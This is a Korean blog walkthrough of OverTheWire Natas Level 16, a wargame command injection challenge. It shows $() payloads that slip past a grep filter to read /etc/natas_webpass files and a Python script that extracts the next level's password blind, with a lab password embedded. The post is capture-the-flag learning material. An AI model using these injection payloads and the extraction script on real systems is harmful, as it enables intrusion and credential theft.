Hacking/[Web]Natas

OverTheWire [Natas Level 16]

양선규 2023. 3. 28. 03:11
728x90
반응형

Natas Level 16 입니다.
command injection 기법을 이용한 문제입니다.
 
 

Level 16

 
이번 문제입니다.
보안상의 이유로, 더 많은 문자를 필터링 하고 있다고 합니다.
해당 폼엔 사용자가 입력한 단어를 찾아주는 기능이 있습니다.
 
 

source code

 
소스코드입니다.
예전에 나왔던 grep 문제에서, 필터링이 한층 업그레이드 되었군요.
 
[ ; | & ` \ ' " ]     문자들을 필터링 하고 있고 ( 웬만한건 다 필터링 하는군요 )
grep 명령문에서, 입력값이   \"$key\"  형태로 더블쿼터로 묶여 있습니다.
이래선 개행문자를 이용한 우회도 먹히질 않죠.
우리가 무슨 입력값을 어떻게 넣든 간에, 반드시 grep dictionary.txt 의 인자로 들어가게 됩니다.
 
우리는 해당 명령문을 정상적으로 이용하면서 답을 찾아내야 합니다.
이걸 어떻게 이용할 수 있을까?
 
방법은 바로 $() 를 이용하는 것 입니다.
$() 안에 있는 문자열은, 더블쿼터로 감싸져 있더라도 반드시 명령어로 실행되게 됩니다.
그리고 해당 문제에서는 $ , ( , ) 를 필터링 하고 있지도 않죠.
 
 

공격 시도

 
$(cat /etc/natas_webpass/natas17)
입력했습니다.
 
 

출력이 없다

 
그러나 아무것도 출력되지 않습니다.
이유는 간단합니다. 우리가 입력한 명령어는 정상적으로 실행되어, 값을 반환하였습니다.
그러나 앞서 말했듯이, 더블쿼터 안에 입력값이 있으므로 반드시 grep dictionary.txt 의 인자로 들어가게 됩니다.
쉽게 말해서 natas17의 password가 "1234" 였다고 합시다.
 
그러면 시스템이 인식하는 최종 명령어는,
grep -i "1234" dictionary.txt
가 됩니다.
이건 그냥 dictionary.txt 파일에서 "1234" 라는 글자를 찾으라는 명령어밖에 안됩니다.
이런 단순한 방식으론 password를 찾을 수 없습니다. 하지만 이걸 이용하는 방법이 있죠.
 
이전 문제 Blind SQL Injection 기억나시나요? 비슷하게 풀 수 있습니다.
 
일단 natas17의 password는 dictionary.txt 안에 없죠.
grep 명령어의 정규표현식을 이용해 봅시다.
 
grep ^a : a로 시작하는 행을 출력
grep ^abcd : abcd로 시작하는 행을 출력
이걸 응용하면,
 
$(grep ^a /etc/natas_webpass/natas17)
-> natas17의 password가 a로 시작한다면, natas17의 password가 출력됩니다.
 
그러면 명령문은 이렇게 됩니다.
grep -i "엄청복잡한패스워드" dictionary.txt
-> "엄청복잡한패스워드" 는 dictionary.txt 파일 안에 없으므로, 아무것도 출력되지 않는다!!
-> 반대로 a로 시작하지 않았다면, 인자에 아무것도 들어가지 않으므로 dictionary.txt 파일의 모든 내용이 출력된다!
-> 문자열을 마구 대입하며, 아무것도 출력되지 않는 문자열을 모으면 password 완성
어때요, Blind SQL Injection과 비슷하죠?
 
직접 리눅스로 실험까지 해봤습니다.
 
 

실험

 
자. "key" 파일에는 복잡한 숫자가 들어있고, "dictionary.txt" 파일엔 "africa" 라는 문자열이 있습니다.
문제와 똑같이 명령어를 만들어 입력해보겠습니다.
 
 

문제와 완벽히 같은 명령어

 
자, "key" 파일은 "fail" 문자열로 시작하지 않습니다. 따라서 ""(공백) 이 전달되었고 dictionary.txt의 내용이 출력되었습니다.
두번째, "key" 파일은 "123" 문자열로 시작합니다. 따라서 "key"파일의 내용이 전달되었고 dictionary.txt의 내용은 출력되지 않았습니다. ( dictionary에 key 내용은 없으니)
 

결과는 같다

 
grep 명령어는 실행되었다고 치고, 공백과 1234를 넣어봐도 결과는 같습니다.
 
 

첫글자는 "X"

 
$(grep ^X /etc/natas_webpass/natas17)
약간의 노가다 끝에, 첫글자는 "X" 라는 것을 알아냈습니다.
이제 해당 코드로 자동화 코드를 짜서 exploit 하면 됩니다.
코드는, 이전 레벨 Blind SQL Injection에서 사용했던 코드를 약간 수정하여 사용할 것입니다.
 
 

import requests
import re
import string

username = 'natas16'
password = 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V'

url = f"http://{username}.natas.labs.overthewire.org/?debug=true"

letters = string.ascii_letters + string.digits

nataspass = ''

while len(nataspass) < 40:
    for char in letters:
        print(f"Attemping password: {nataspass}{char}")
        response = requests.post(url, auth = (username, password),
                                 data = {"needle" : "African$(grep ^"+ nataspass + char + " /etc/natas_webpass/natas17)"}, )
        if "African" not in response.text:
            nataspass += char
            print(nataspass)
            break

출처 : https://www.youtube.com/watch?v=OJOGfVDYUNQ (유튜버 odacavo)
저번 레벨에도 그랬듯이 해당 유튜버분의 영상을 참고했습니다.
 
입력 폼 이름인 "needle" 에다가 우리가 만든 공격구문을 전송하여 패스워드를 추출하는 코드입니다.
 
 

실행 결과 password 획득

 
실행 결과입니다. 반복문 횟수를 password 길이보다 많이 설정해서, 마지막 글자는 끝나지 않고 계속 돌고 있습니다.
제가 노가다로 알아냈듯, password 첫 글자는 "X" 가 맞네요.
 
마지막 글자 하나를 뺀 값이 password가 되겠습니다.
 
==================================
 
 

설명해주실 분

 
그런데 이해 안되는 점이, 마지막 조건문에서 출력에 "African" 단어가 없다면 password로 추가하는 구문이 있는데요
저 자리엔 dictionary.txt 파일 안에 있는 어떤 단어를 입력해도 상관없습니다.
 
그런데 윗줄 grep 앞부분에 African을 입력하면 공격 속도가 빨라지고, 지우면 공격 속도가 느려집니다.
근데 공격이 되긴 됩니다. 속도만 차이납니다.
grep 앞부분에 African을 입력하면 왜 속도가 더 빨라지는건지..?
아시는 분 계시면 알려주시면 감사하겠습니다.
 
=================================== 수정
 
침대에 누워있다가 이유를 알아냈습니다.
 
$() 구문이 실패하면 , 결과적으로 "African" 문자열을 dictionary.txt 에서 찾는 명령어가 됩니다.
따라서 실패하더라도 dictionary.txt의 모든 데이터를 가져오는 것이 아닌 African 문자열 한개만 가져오게 되면서
결과적으로 공격 속도가 빨라지는 것입니다.
즉,
기존 : 공격 실패시 dictionary.txt의 모든 데이터를 가져옴 ( 데이터가 많아 속도 느려짐 )
African입력시 : 공격 실패시 dictionary.txt에서 "African" 문자열만 가져옴 ( 가져올 데이터가 적어 속도 빨라짐 )

728x90
반응형

'Hacking > [Web]Natas' 카테고리의 다른 글

OverTheWire [Natas Level 18]  (0) 2023.03.29
OverTheWire [Natas Level 17]  (4) 2023.03.29
OverTheWire [Natas Level 15]  (0) 2023.03.27
OverTheWire [Natas Level 14]  (0) 2023.03.25
OverTheWire [Natas Level 13]  (0) 2023.03.17